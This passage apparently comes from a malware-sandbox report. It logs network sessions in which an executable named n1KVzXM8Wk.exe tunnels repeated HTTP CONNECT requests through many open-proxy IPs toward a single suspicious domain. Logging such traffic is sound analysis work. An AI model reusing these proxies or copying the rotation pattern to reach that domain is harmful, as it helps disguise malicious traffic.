1437	192.168.2.4	51188	162.214.227.68	34942	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.542721987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680205107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684309006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.4	51223	188.164.193.178	37842	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.550934076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680179119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684318066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683675051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.709286928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.756155968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.4	51287	198.27.82.143	9382	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.571466923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.586097956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.4	54112	37.46.241.247	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.576469898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.799213886 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.4	51277	147.45.43.212	30519	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.580060959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680337906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684343100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683675051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.709287882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.4	54160	104.16.143.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.589471102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.676934004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.4	51020	194.233.78.142	31893	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.605875969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680377007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684365988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.683687925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.4	54099	161.189.182.145	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.633908987 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:28.011715889 CET	147	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.45 Server: squid/4.14 Content-Length: 0
Feb 23, 2024 09:45:28.457712889 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:28.460066080 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.4	54124	176.98.81.85	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.635853052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.4	54121	177.38.245.110	55713	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.635992050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.4	54146	198.12.255.53	52533	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.636104107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178697109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680597067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680857897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.475240946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.365928888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.178513050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.681447983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.4	51247	191.243.46.2	18283	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.636116982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.284420967 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.4	53525	133.232.65.171	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.636121988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680404902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684348106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.4	51159	162.214.163.187	56643	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.636121988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.4	54108	8.213.128.90	20002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.651114941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.963246107 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.4	51141	109.123.254.43	51538	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.653136015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697078943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834652901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834781885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.4	51206	45.181.123.201	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.656709909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697115898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.4	54152	188.164.193.178	8500	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.671586990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219063997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.834954977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.943979025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.147047043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334716082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.538156986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.834707022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.4	53801	88.80.103.9	6888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.676176071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680448055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.117927074 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.4	50967	194.233.78.142	30295	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.676940918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697113991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.4	54172	5.9.98.142	2636	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.681690931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.4	51201	179.60.235.251	8096	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.682988882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697145939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834654093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834805965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.834264040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.834295034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:15.908202887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.4	54123	59.6.26.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.690798044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.4	51331	72.167.220.46	13046	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.700859070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.697140932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.4	51136	45.117.179.179	33164	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.722297907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475125074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680782080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.4	54122	60.188.102.225	18080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.722300053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.4	54114	210.211.113.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.734359980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.4	51337	162.214.163.137	7070	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.734412909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.815191031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834742069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.4	54217	66.228.33.190	48487	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.734483957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178692102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680375099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366003036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680593967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.975214005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.178575039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.578089952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.381932974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.4	53820	47.179.5.8	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.740847111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.4	54257	43.153.36.48	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.741384029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.4	54260	43.153.36.48	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.743510008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.4	54265	43.153.36.48	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.745209932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

